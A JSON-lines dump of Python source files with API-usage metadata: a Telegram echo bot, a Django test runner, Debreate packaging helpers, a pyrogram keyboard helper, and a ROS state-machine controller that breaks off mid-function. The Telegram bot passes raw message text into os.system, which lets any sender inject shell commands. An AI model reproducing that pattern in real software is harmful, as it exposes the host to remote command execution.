"hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 60, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 60, "usage_type": "name"}, {"api_name": "hummingbot.connector.exchange.coinzoom.coinzoom_http_utils.api_call_with_retries", "line_number": 60, "usage_type": "call"}, {"api_name": "hummingbot.connector.exchange.coinzoom.coinzoom_http_utils", "line_number": 60, "usage_type": "name"}, {"api_name": "coinzoom_constants.Constants.ENDPOINT", "line_number": 61, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 61, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_to_exchange_trading_pair", "line_number": 64, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 65, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 57, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 70, "usage_type": "name"}, {"api_name": "hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 73, "usage_type": "name"}, {"api_name": "hummingbot.connector.exchange.coinzoom.coinzoom_http_utils.api_call_with_retries", "line_number": 73, "usage_type": "call"}, {"api_name": "hummingbot.connector.exchange.coinzoom.coinzoom_http_utils", "line_number": 73, "usage_type": "name"}, {"api_name": "coinzoom_constants.Constants.ENDPOINT", "line_number": 75, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 77, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_from_exchange_trading_pair", "line_number": 77, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 70, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 86, "usage_type": "name"}, {"api_name": "hummingbot.core.api_throttler.async_throttler.AsyncThrottler", "line_number": 86, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_to_exchange_trading_pair", "line_number": 92, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.ENDPOINT", "line_number": 93, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 94, "usage_type": "name"}, {"api_name": "hummingbot.connector.exchange.coinzoom.coinzoom_http_utils.api_call_with_retries", "line_number": 94, "usage_type": "call"}, {"api_name": "hummingbot.connector.exchange.coinzoom.coinzoom_http_utils", "line_number": 94, "usage_type": "name"}, {"api_name": "coinzoom_constants.Constants.REST_ORDERBOOK_LIMIT_ID", "line_number": 98, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 98, "usage_type": "name"}, {"api_name": "coinzoom_utils.CoinzoomAPIError", "line_number": 100, "usage_type": "name"}, {"api_name": "coinzoom_constants.Constants.EXCHANGE_NAME", "line_number": 103, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 103, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 107, "usage_type": "name"}, {"api_name": "hummingbot.core.data_type.order_book_message.OrderBookMessage", "line_number": 109, "usage_type": "name"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook.snapshot_message_from_exchange", "line_number": 109, "usage_type": "call"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook", "line_number": 109, "usage_type": "name"}, {"api_name": "coinzoom_active_order_tracker.CoinzoomActiveOrderTracker", "line_number": 114, "usage_type": "name"}, {"api_name": "hummingbot.core.data_type.order_book.OrderBook", "line_number": 106, "usage_type": "name"}, {"api_name": "asyncio.BaseEventLoop", "line_number": 119, "usage_type": "attribute"}, {"api_name": "asyncio.Queue", "line_number": 119, "usage_type": "attribute"}, {"api_name": "coinzoom_websocket.CoinzoomWebsocket", "line_number": 125, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.WS_SUB", "line_number": 129, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 129, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_to_exchange_trading_pair", "line_number": 129, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.WS_METHODS", "line_number": 134, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 134, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 137, "usage_type": "name"}, {"api_name": "coinzoom_constants.Constants.WS_METHODS", "line_number": 137, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 137, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_from_exchange_trading_pair", "line_number": 138, "usage_type": "call"}, {"api_name": "hummingbot.core.data_type.order_book_message.OrderBookMessage", "line_number": 139, "usage_type": "name"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook.trade_message_from_exchange", "line_number": 139, "usage_type": "call"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook", "line_number": 139, "usage_type": "name"}, {"api_name": "asyncio.CancelledError", "line_number": 142, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 147, "usage_type": "call"}, {"api_name": "asyncio.BaseEventLoop", "line_number": 151, "usage_type": "attribute"}, {"api_name": "asyncio.Queue", "line_number": 151, "usage_type": "attribute"}, {"api_name": "coinzoom_websocket.CoinzoomWebsocket", "line_number": 157, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.WS_METHODS", "line_number": 161, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 161, "usage_type": "name"}, {"api_name": "coinzoom_constants.Constants.WS_METHODS", "line_number": 162, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 162, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_to_exchange_trading_pair", "line_number": 166, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.WS_SUB", "line_number": 168, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 168, "usage_type": "name"}, {"api_name": "coinzoom_utils.convert_from_exchange_trading_pair", "line_number": 188, "usage_type": "call"}, {"api_name": "coinzoom_constants.Constants.WS_METHODS", "line_number": 191, "usage_type": "attribute"}, {"api_name": "coinzoom_constants.Constants", "line_number": 191, "usage_type": "name"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook.diff_message_from_exchange", "line_number": 190, "usage_type": "attribute"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook", "line_number": 190, "usage_type": "name"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook.snapshot_message_from_exchange", "line_number": 192, "usage_type": "attribute"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook", "line_number": 192, "usage_type": "name"}, {"api_name": "hummingbot.core.data_type.order_book_message.OrderBookMessage", "line_number": 194, "usage_type": "name"}, {"api_name": "asyncio.CancelledError", "line_number": 200, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 207, "usage_type": "call"}, {"api_name": "asyncio.BaseEventLoop", "line_number": 211, "usage_type": "attribute"}, {"api_name": "asyncio.Queue", "line_number": 211, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 219, "usage_type": "name"}, {"api_name": "hummingbot.core.data_type.order_book_message.OrderBookMessage", "line_number": 221, "usage_type": "name"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook.snapshot_message_from_exchange", "line_number": 221, "usage_type": "call"}, {"api_name": "coinzoom_order_book.CoinzoomOrderBook", "line_number": 221, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 229, "usage_type": "call"}, {"api_name": "asyncio.CancelledError", "line_number": 230, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 237, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 238, "usage_type": "attribute"}, {"api_name": "pandas.Timestamp.utcnow", "line_number": 238, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 239, "usage_type": "attribute"}, {"api_name": "pandas.Timedelta", "line_number": 239, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 241, "usage_type": "call"}, {"api_name": "asyncio.CancelledError", "line_number": 242, "usage_type": "attribute"}, {"api_name": "asyncio.sleep", "line_number": 246, "usage_type": "call"}]} +{"seq_id": "30932535410", "text": "import logging\nimport telegram\nimport os\nfrom telegram.error import NetworkError, Unauthorized\nfrom time import sleep\nfrom emoji import emojize\n\nupdate_id = None\n\n\ndef main():\n global update_id\n # Telegram Bot Authorization Token\n bot = telegram.Bot('YOUR_TOKEN_HERE')\n\n try:\n update_id = bot.get_updates()[0].update_id\n except IndexError:\n update_id = None\n\n logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n while True:\n try:\n echo(bot)\n except NetworkError:\n sleep(1)\n except Unauthorized:\n update_id += 1\n\n\ndef echo(bot):\n global update_id\n for update in bot.get_updates(offset=update_id, timeout=10):\n update_id = update.update_id + 1\n\n if update.message:\n os.system(\"xdg-open \" + update.message.text)\n update.message.reply_text(emojize(\" :white_check_mark:\", use_aliases=True))\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "adamff1/VideoBot", "sub_path": "videobot_linux.py", "file_name": "videobot_linux.py", "file_ext": "py", "file_size_in_byte": 990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "telegram.Bot", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 21, "usage_type": "call"}, {"api_name": "telegram.error.NetworkError", "line_number": 26, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "telegram.error.Unauthorized", "line_number": 28, "usage_type": "name"}, {"api_name": "os.system", "line_number": 38, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "28238215273", "text": "#!/usr/bin/env python\nimport os.path\nimport sys\n\nfrom django.conf import settings\n\nfrom tests.settings import ADAPTIVE_MODELS\n\nif not settings.configured:\n settings.configure(\n DATABASE_ENGINE=\"sqlite3\",\n INSTALLED_APPS=[\n \"django.contrib.contenttypes\",\n \"django.contrib.auth\",\n \"model_adapter\",\n \"tests.test_app_one\",\n \"tests.test_app_two\",\n \"tests.test_driver\",\n ],\n ADAPTIVE_MODELS=ADAPTIVE_MODELS\n )\nfrom django.test.simple import run_tests\n\ndef runtests(*test_args):\n if not test_args:\n test_args = [\"test_driver\"]\n parent = os.path.dirname(os.path.abspath(__file__))\n sys.path.insert(0, parent)\n failures = run_tests(test_args, verbosity=1, interactive=True)\n sys.exit(failures)\n\nif __name__ == '__main__':\n runtests(*sys.argv[1:])\n", "repo_name": "andymccurdy/django-model-adapter", "sub_path": "runtests.py", "file_name": "runtests.py", "file_ext": "py", "file_size_in_byte": 863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.conf.settings.configured", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.settings.configure", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.settings", "line_number": 10, "usage_type": "name"}, {"api_name": "tests.settings.ADAPTIVE_MODELS", "line_number": 20, "usage_type": "name"}, {"api_name": "os.path.path.dirname", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 27, "usage_type": "name"}, {"api_name": "os.path.path.abspath", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.test.simple.run_tests", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 30, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}]} +{"seq_id": "18113803257", "text": "\nimport os\nimport re\nimport traceback\nimport subprocess\n\nfrom urllib.error import URLError\nfrom urllib.request import urlopen\n\nimport wx\n\nimport libdbr.bin\n\nfrom dbr.language import GT\nfrom globals.errorcodes import dbrerrno\nfrom globals.strings import IsString\nfrom globals.strings import StringIsNumeric\nfrom globals.system import PY_VER_STRING\nfrom libdbr import paths\nfrom libdbr import strings\nfrom libdbr.logger import Logger\nfrom libdebreate import appinfo\n\n\n__logger = Logger(__name__)\n\n## Get the current version of the application.\n#\n# @param remote\n# Website URL to parse for update.\n# @return\n# Application's version tuple.\ndef GetCurrentVersion(remote=appinfo.getProjectPages()[0]):\n try:\n version = os.path.basename(urlopen(\"{}/releases/latest\".format(remote)).geturl())\n\n if \"-\" in version:\n version = version.split(\"-\")[0]\n version = version.split(\".\")\n\n cutoff_index = 0\n for C in version[0]:\n if not C.isdigit():\n cutoff_index += 1\n continue\n\n break\n\n version[0] = version[0][cutoff_index:]\n for V in version:\n if not V.isdigit():\n return \"Cannot parse release: {}\".format(tuple(version))\n\n version[version.index(V)] = int(V)\n\n return tuple(version)\n\n except URLError as err:\n return err\n\n\n## TODO: Doxygen\ndef GetContainerItemCount(container):\n if wx.MAJOR_VERSION > 2:\n return container.GetItemCount()\n\n return len(container.GetChildren())\n\n\n## TODO: Doxygen\ndef GetLongestLine(lines):\n if isinstance(lines, str):\n lines = lines.split(\"\\n\")\n\n longest = 0\n\n for LI in lines:\n l_length = len(LI)\n if l_length > longest:\n longest = l_length\n\n return longest\n\n\n## Checks if the system is using a specific version of Python.\n#\n# @fixme\n# This function is currently not used anywhere in the code.\n# @param version\n# The minimal version that should be required.\n# @deprecated\ndef RequirePython(version):\n __logger.deprecated(RequirePython)\n\n error = \"Incompatible python version\"\n t = type(version)\n if t == type(\"\"):\n if version == PY_VER_STRING[0:3]:\n return\n\n raise ValueError(error)\n\n elif t == type([]) or t == type(()):\n if PY_VER_STRING[0:3] in version:\n return\n\n raise ValueError(error)\n\n raise ValueError(\"Wrong type for argument 1 of RequirePython(version)\")\n\n\n## Checks if a string contains any alphabetic characters.\n#\n# @param value\n# \\b \\e str : String to check.\n# @return\n# \\b \\e bool : Alphabet characters found.\n# @deprecated\n# Use `libdbr.strings.hasAlpha`.\ndef HasAlpha(value):\n __logger.deprecated(HasAlpha, alt=strings.hasAlpha)\n\n # ~ return (re.search(\"[a-zA-Z]\", strings.toString(value)) != None)\n return strings.hasAlpha(value)\n\n\n## Finds integer value from a string, float, tuple, or list.\n#\n# @param value\n# Value to be checked for integer equivalent.\n# @return\n# `int` or `None`.\ndef GetInteger(value):\n if isinstance(value, (int, float,)):\n return int(value)\n\n # Will always use the very first value, even for nested items\n elif isinstance(value,(tuple, list,)):\n # Recursive check lists & tuples\n return GetInteger(value[0])\n\n elif value and IsString(value):\n # Convert because of unsupported methods in str class\n value = strings.toString(value)\n\n if HasAlpha(value):\n return None\n\n # Check for negative\n if value[0] == \"-\":\n if value.count(\"-\") <= 1:\n i_value = GetInteger(value[1:])\n\n if type(i_value) == int:\n return -int(i_value)\n\n # Check for tuple\n elif \".\" in value:\n value = value.split(\".\")[0]\n return GetInteger(value)\n\n elif StringIsNumeric(value):\n return int(value)\n\n return None\n\n\n## Finds a boolean value from a string, integer, float, or boolean.\n#\n# @param value\n# Value to be checked for boolean equivalent.\n# @return\n# `bool` or `None`.\ndef GetBoolean(value):\n v_type = type(value)\n\n if v_type == bool:\n return value\n\n elif v_type in (int, float):\n return bool(value)\n\n elif v_type == str:\n int_value = GetInteger(value)\n if int_value != None:\n return bool(int_value)\n\n if value in (\"True\", \"False\"):\n return value == \"True\"\n\n return None\n\n\n## Finds a tuple value from a string, tuple, or list.\n#\n# @param value\n# Value to be checked for tuple equivalent.\n# @return\n# `tuple` or `None`.\ndef GetIntTuple(value):\n if isinstance(value, (tuple, list,)):\n if len(value) > 1:\n # Convert to list in case we need to make changes\n value = list(value)\n\n for I in value:\n t_index = value.index(I)\n\n if isinstance(I, (tuple, list)):\n I = GetIntTuple(I)\n\n else:\n I = GetInteger(I)\n\n if I == None:\n return None\n\n value[t_index] = I\n\n return tuple(value)\n\n elif IsString(value):\n # Remove whitespace & braces\n value = value.strip(\" ()\")\n value = \"\".join(value.split(\" \"))\n\n value = value.split(\",\")\n\n if len(value) > 1:\n for S in value:\n v_index = value.index(S)\n\n S = GetInteger(S)\n\n if S == None:\n return None\n\n value[v_index] = S\n\n # Convert return value from list to tuple\n return tuple(value)\n\n return None\n\n\n## Checks if a value is an integer.\n#\n# @param value\n# Value to be checked.\n# @return\n# `True` if value represents an integer.\ndef IsInteger(value):\n return GetInteger(value) != None\n\n\n## Checks if a value is a boolean.\n#\n# @param value\n# Value to be checked.\n# @return\n# `True` if value represents a boolean.\ndef IsBoolean(value):\n return GetBoolean(value) != None\n\n\n## Checks if a value is an integer tuple.\n#\n# @param value\n# Value to be checked.\n# @return\n# `True` if value represents an integer tuple.\ndef IsIntTuple(value):\n return GetIntTuple(value) != None\n\n\n## Checks if file is binary & needs stripped.\n#\n# @param file_name\n# Path to file.\n# @todo\n# FIXME: not platform independent\ndef fileUnstripped(file_name):\n CMD_file = paths.getExecutable(\"file\")\n if not CMD_file:\n __logger.error(\"'file' executable not found, cannot check if file '{}' is stripped\".format(file_name))\n return False\n err, output = libdbr.bin.execute(CMD_file, file_name)\n if err != 0:\n __logger.error(\"'file' command returned error '{}'\".format(err))\n return False\n return \"not stripped\" == output.split(\", \")[-1]\n\n\n## Builds a .deb package from a pre-formatted directory tree.\n#\n# @param root_dir\n# Directory containing files & meta data for package.\n# @param filename\n# Filename for constructed package.\n# @deprecated\n# Dead code. Use `BuildDebPackage`.\ndef BuildBinaryPackageFromTree(root_dir, filename):\n __logger.deprecated(BuildBinaryPackageFromTree, alt=BuildDebPackage)\n\n if not os.path.isdir(root_dir):\n return dbrerrno.ENOENT\n\n # DEBUG\n cmd = \"fakeroot dpkg-deb -v -b \\\"{}\\\" \\\"{}\\\"\".format(root_dir, filename)\n print(\"DEBUG: Issuing command: {}\".format(cmd))\n\n #res = subprocess.run([cmd])\n #output = (res.returncode, res.stdout)\n\n return 0\n\n\n## Checks if this is a development version.\n#\n# @return\n# `True` if development version integer is not 0.\ndef UsingDevelopmentVersion():\n return appinfo.getVersionDev() != 0\n\n\n## Builds a .deb package from a pre-formatted directory tree.\n#\n# @param stage_dir\n# Directory containing files & meta data for package.\n# @param target_file\n# Filename for constructed package.\ndef BuildDebPackage(stage_dir, target_file):\n packager = paths.getExecutable(\"dpkg-deb\")\n fakeroot = paths.getExecutable(\"fakeroot\")\n\n if not fakeroot or not packager:\n return (dbrerrno.ENOENT, GT(\"Cannot run \\\"fakeroot dpkg\\\"\"))\n\n packager = os.path.basename(packager)\n\n try:\n output = subprocess.check_output([fakeroot, packager, \"-b\", stage_dir, target_file], stderr=subprocess.STDOUT)\n\n except:\n return (dbrerrno.EAGAIN, traceback.format_exc())\n\n return (dbrerrno.SUCCESS, output)\n\n\n## Check if mouse is within the rectangle area of a window.\n#\n# @param window\n# `wx.Window` instance.\n# @return\n# `True` if mouse positions is within `window` rectangle.\ndef MouseInsideWindow(window):\n # Only need to find size because ScreenToClient method gets mouse pos\n # relative to window.\n win_size = window.GetSize().Get()\n mouse_pos = window.ScreenToClient(wx.GetMousePosition())\n\n # Subtracting from width & height compensates for visual boundaries\n inside_x = 0 <= mouse_pos[0] <= win_size[0]-4\n inside_y = 0 <= mouse_pos[1] <= win_size[1]-3\n\n return inside_x and inside_y\n", "repo_name": "debreate/debreate", "sub_path": "dbr/functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 8563, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 110, "dataset": "github-code", "pt": "85", "api": [{"api_name": "libdbr.logger.Logger", "line_number": 25, "usage_type": "call"}, {"api_name": "libdebreate.appinfo.getProjectPages", "line_number": 33, "usage_type": "call"}, {"api_name": "libdebreate.appinfo", "line_number": 33, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 35, "usage_type": "call"}, {"api_name": "urllib.error.URLError", "line_number": 58, "usage_type": "name"}, {"api_name": "wx.MAJOR_VERSION", "line_number": 64, "usage_type": "attribute"}, {"api_name": "globals.system.PY_VER_STRING", "line_number": 98, "usage_type": "name"}, {"api_name": "globals.system.PY_VER_STRING", "line_number": 104, "usage_type": "name"}, {"api_name": "libdbr.strings.hasAlpha", "line_number": 121, "usage_type": "attribute"}, {"api_name": "libdbr.strings", "line_number": 121, "usage_type": "name"}, {"api_name": "libdbr.strings.hasAlpha", "line_number": 124, "usage_type": "call"}, {"api_name": "libdbr.strings", "line_number": 124, "usage_type": "name"}, {"api_name": "globals.strings.IsString", "line_number": 142, "usage_type": "call"}, {"api_name": "libdbr.strings.toString", "line_number": 144, "usage_type": "call"}, {"api_name": "libdbr.strings", "line_number": 144, "usage_type": "name"}, {"api_name": "globals.strings.StringIsNumeric", "line_number": 162, "usage_type": "call"}, {"api_name": "globals.strings.IsString", "line_number": 222, "usage_type": "call"}, {"api_name": "libdbr.paths.getExecutable", "line_number": 283, "usage_type": "call"}, {"api_name": "libdbr.paths", "line_number": 283, "usage_type": "name"}, {"api_name": "libdbr.bin.bin.execute", "line_number": 287, "usage_type": "call"}, {"api_name": "libdbr.bin.bin", "line_number": 287, "usage_type": "attribute"}, {"api_name": "libdbr.bin", "line_number": 287, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 305, "usage_type": "call"}, {"api_name": "os.path", "line_number": 305, "usage_type": "attribute"}, {"api_name": "globals.errorcodes.dbrerrno.ENOENT", "line_number": 306, "usage_type": "attribute"}, {"api_name": "globals.errorcodes.dbrerrno", "line_number": 306, "usage_type": "name"}, {"api_name": "libdebreate.appinfo.getVersionDev", "line_number": 323, "usage_type": "call"}, {"api_name": "libdebreate.appinfo", "line_number": 323, "usage_type": "name"}, {"api_name": "libdbr.paths.getExecutable", "line_number": 333, "usage_type": "call"}, {"api_name": "libdbr.paths", "line_number": 333, "usage_type": "name"}, {"api_name": "libdbr.paths.getExecutable", "line_number": 334, "usage_type": "call"}, {"api_name": "libdbr.paths", "line_number": 334, "usage_type": "name"}, {"api_name": "globals.errorcodes.dbrerrno.ENOENT", "line_number": 337, "usage_type": "attribute"}, {"api_name": "globals.errorcodes.dbrerrno", "line_number": 337, "usage_type": "name"}, {"api_name": "dbr.language.GT", "line_number": 337, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 339, "usage_type": "call"}, {"api_name": "os.path", "line_number": 339, "usage_type": "attribute"}, {"api_name": "subprocess.check_output", "line_number": 342, "usage_type": "call"}, {"api_name": "subprocess.STDOUT", "line_number": 342, "usage_type": "attribute"}, {"api_name": "globals.errorcodes.dbrerrno.EAGAIN", "line_number": 345, "usage_type": "attribute"}, {"api_name": "globals.errorcodes.dbrerrno", "line_number": 345, "usage_type": "name"}, {"api_name": "traceback.format_exc", "line_number": 345, "usage_type": "call"}, {"api_name": "globals.errorcodes.dbrerrno.SUCCESS", "line_number": 347, "usage_type": "attribute"}, {"api_name": "globals.errorcodes.dbrerrno", "line_number": 347, "usage_type": "name"}, {"api_name": "wx.GetMousePosition", "line_number": 360, "usage_type": "call"}]} +{"seq_id": "4309780257", "text": "from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom app.market_trading.api import get_all_trading\n\n\ndef get_ikm_trading_list():\n num_k_in_column = 2\n trading_list = get_all_trading()\n keyboard = []\n keyboard_temp = []\n\n for trading in trading_list:\n ink = InlineKeyboardButton(trading.country_from_rel.flag_unicode\n + \" \"\n + trading.country_to_rel.flag_unicode\n + \" \"\n + trading.country_from_rel.currency\n + \" / \"\n + trading.country_to_rel.currency\n , callback_data=\"trading_\" + str(trading.id) + \"_\" + str(\n trading.country_from) + \"_\" + str(trading.country_to))\n\n keyboard_temp.append(ink)\n\n if len(keyboard_temp) == num_k_in_column:\n keyboard.append(keyboard_temp)\n keyboard_temp = []\n\n if len(keyboard_temp) != 0:\n keyboard.append(keyboard_temp)\n\n return InlineKeyboardMarkup(keyboard)\n\n # for trading in trading_list:\n # keyboard.append(\n # [trading.country_from_rel.flag_unicode\n # + \" \"\n # + trading.country_to_rel.flag_unicode\n # + \" \"\n # + trading.country_from_rel.name\n # + \" / \"\n # + trading.country_to_rel.name\n # ])\n #\n # return ReplyKeyboardMarkup(keyboard)\n", "repo_name": "siavashvampire/vpn-telegram-bot", "sub_path": "core/style/InlineKeyboardMarkup.py", "file_name": "InlineKeyboardMarkup.py", "file_ext": "py", "file_size_in_byte": 1531, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "app.market_trading.api.get_all_trading", "line_number": 8, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardButton", "line_number": 13, "usage_type": "call"}, {"api_name": "pyrogram.types.InlineKeyboardMarkup", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "3012476753", "text": "#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import Float64\nfrom geometry_msgs.msg import TwistStamped\n\nimport smach\nimport smach_ros\n\nfrom math import pi, copysign, atan2, sin, cos\n\nfrom pid import PID\n\nclass FollowLine(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['found_basket', 'lost_line', 'aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n self.cntr.set_heave(0)\n while not rospy.is_shutdown():\n if self.cntr.object_found('BASKET'):\n return 'found_basket'\n elif not self.cntr.object_found('LINE'):\n if (self.cntr.last_msgs['LINE'].twist.linear.y < 0.25 and\n self.cntr.last_msgs['LINE'].twist.angular.z < 30 * pi / 180):\n return 'aborted'\n else:\n return 'lost_line'\n else:\n self.cntr.follow_line()\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass ReturnOnLine(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['found_line', 'aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n while not rospy.is_shutdown():\n if self.cntr.object_found('LINE'):\n return 'found_line'\n elif (rospy.Time.now() - self.cntr.state_change_time) > rospy.Duration(5):\n return 'aborted'\n else:\n self.cntr.search_for_line()\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass MoveStraight(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['found_line', 'aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n self.cntr.set_yaw_sp(self.cntr.last_msgs['ROBOT'].twist.angular.z)\n while not rospy.is_shutdown():\n if (rospy.Time.now() - self.cntr.state_change_time) > rospy.Duration(20):\n return 'aborted'\n elif self.cntr.object_found('LINE'):\n return 'found_line'\n else:\n self.cntr.move_straight()\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass StayOnBasket(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['succeeded', 'aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n self.cntr.set_heave(0)\n self.cntr.set_yaw_sp(self.cntr.last_msgs['ROBOT'].twist.angular.z)\n while not rospy.is_shutdown():\n if (rospy.Time.now() - self.cntr.state_change_time) > rospy.Duration(3):\n return 'succeeded'\n elif not self.cntr.object_found('BASKET'):\n return 'aborted'\n else:\n self.cntr.follow_basket()\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass Submerge(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['succeeded', 'aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n while not rospy.is_shutdown():\n if (rospy.Time.now() - self.cntr.state_change_time) > rospy.Duration(15):\n return 'succeeded'\n else:\n self.cntr.set_heave(-30)\n self.cntr.follow_basket()\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass Emerge(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n while not rospy.is_shutdown():\n if ((rospy.Time.now() - self.cntr.state_change_time) > rospy.Duration(20) or\n (not self.cntr.object_found('BASKET')) and self.cntr.object_found('LINE')):\n return 'aborted'\n else:\n self.cntr.emerge()\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass Stop(smach.State):\n def __init__(self, c):\n smach.State.__init__(self, outcomes=['found_line', 'found_basket', 'aborted'])\n self.cntr = c\n \n def execute(self, userdata):\n self.cntr.state_change_time = rospy.Time.now()\n self.cntr.set_heave(0)\n while not rospy.is_shutdown():\n if self.cntr.object_found('LINE'):\n return 'found_line'\n elif self.cntr.object_found('BASKET'):\n return 'found_basket'\n else:\n self.cntr.set_effort(0,0,0)\n self.cntr.rate.sleep()\n return 'aborted'\n\nclass Controller():\n def __init__(self):\n if not (rospy.has_param('~surge_pid') and rospy.has_param('~sway_pid') \n and rospy.has_param('~yaw_pid')):\n rospy.logerr(\"Didn't find pid configuration\")\n 